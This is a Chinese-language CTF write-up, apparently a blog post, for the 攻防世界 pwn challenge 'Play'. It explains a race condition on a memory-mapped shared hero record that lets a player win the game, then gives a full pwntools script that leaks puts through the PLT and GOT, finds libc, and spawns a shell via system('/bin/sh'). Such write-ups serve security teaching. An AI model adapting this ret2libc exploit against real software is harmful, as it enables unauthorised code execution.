攻防世界PWN之Play(条件竞争)题解

161 篇文章 9 订阅
161 篇文章 9 订阅

Play(条件竞争,多进程共享同一数据区域)

首先,检查一下程序的保护机制,很好

然后,我们用IDA分析,发现一个很明显的栈溢出漏洞

但是,要想执行这个漏洞函数,就必须打赢游戏

而,要打赢游戏,就是让*(_DWORD *)(gMonster + 8)的值小于等于0,也就是Host的Surplus要小于等于0

然后,我们看到这里有一个修改(gMonster + 8)值的地方

也就是Host和Hero互相攻击,消减对方的生命值,我们继续分析,发现gHero指向的是一个内存映射出来的区域

那么,假如我们同时运行两个该程序的进程,并且登录同一个用户名,那么,它们的gHero是同一个内存区域,那么,gHero就叠加了两种技能,于是就可以打败BOSS。执行漏洞函数,getshell

我们可以这样

  1. change_skill(io1, 3)  
  2. attack(io1)  
  3. change_skill(io2,1)  
  4. use_hide(io1, 1)  

如上代码,io1使用技能3,会导致双方的生命值都增加,当我们使用技能3 attack时,当出现use hiden_methods?(1:yes/0:no)选择时,我们通过io2来改变gHero的技能,使得执行后面的代码时,gHero的生命值增加,gMonster的生命值递减,这样,我们就能赢得游戏

也就是说,在read_int()阻塞io1时,我们通过io2改变了gHero的相关属性,使得后面的代码取得的gHero数据和之前不一致。

程序使用了类似于虚表的东西来实现不同技能,从不同的地方取数据,感兴趣的同学可以仔细跟踪一下几个技能,分别对应的数据在哪,然后找到让gHero技能递增,gMonster递减的攻击模式。我们上述的是一种攻击方法,可能还会有其他攻击方法。

打赢了游戏,就是一个简单的栈溢出漏洞,直接利用即可。

综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. debug = 1  
  6.   
  7. if debug:  
  8.    io1 = process('./pwnh38')  
  9.    io2 = process('./pwnh38')  
  10. else:  
  11.    addr = '111.198.29.45'  
  12.    port = 59829  
  13.    io1 = remote(addr,port)  
  14.    io2 = remote(addr,port)  
  15.   
  16. elf = ELF('./pwnh38')  
  17. puts_plt = elf.plt['puts']  
  18. puts_got = elf.got['puts']  
  19. vul_func = elf.sym['vul_func']  
  20.   
  21. def login(io, name):  
  22.    io.sendlineafter("login:", name)  
  23.   
  24. def attack(io):  
  25.    io.sendlineafter("choice>> ","1")  
  26.   
  27. def use_hide(io, choice):  
  28.    io.sendlineafter("(1:yes/0:no):",str(choice))  
  29.   
  30. def change_skill(io, choice):  
  31.    io.sendlineafter("choice>> ","3")  
  32.    io.sendlineafter("choice>> ", str(choice))  
  33.   
  34. def god_attack(io1, io2):  
  35.    change_skill(io1, 3)  
  36.    attack(io1)  
  37.    change_skill(io2,1)  
  38.    use_hide(io1, 1)  
  39. def pwn(io1, io2):  
  40.     login(io1, "test\n")  
  41.     login(io2, "test\n")  
  42.     while True:  
  43.         god_attack(io1, io2)  
  44.         data = io1.recvuntil("\n")  
  45.         if "you win" in data:  
  46.             data = io1.recvuntil("\n")  
  47.             if "remember you forever!" in data:  
  48.                 break  
  49.     #泄露puts的地址  
  50.     payload = 'a'*0x4C + p32(puts_plt) + p32(vul_func) + p32(puts_got)  
  51.     io1.sendlineafter('name:',payload)  
  52.     io1.recvuntil('\n')  
  53.     puts_addr = u32(io1.recv(4))  
  54.     #查询数据库,得到libc的信息  
  55.     libc = LibcSearcher('puts',puts_addr)  
  56.     #获得libc基址  
  57.     libc_base = puts_addr - libc.dump('puts')  
  58.     system_addr = libc_base + libc.dump('system')  
  59.     binsh_addr = libc_base + libc.dump('str_bin_sh')  
  60.     #getshell  
  61.     payload = 'a'*0x4C + p32(system_addr) + p32(0) + p32(binsh_addr)  
  62.     io1.sendlineafter('name:',payload)  
  63.   
  64. pwn(io1, io2)  
  65. io1.interactive()  
  66. #io2.interactive()  

本题告诉我们,对于程序中使用文件时,应该加类似于锁的东西,使得当前程序获得文件的所有权后,其他的不能在那个程序运行期间获得文件的所有权。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值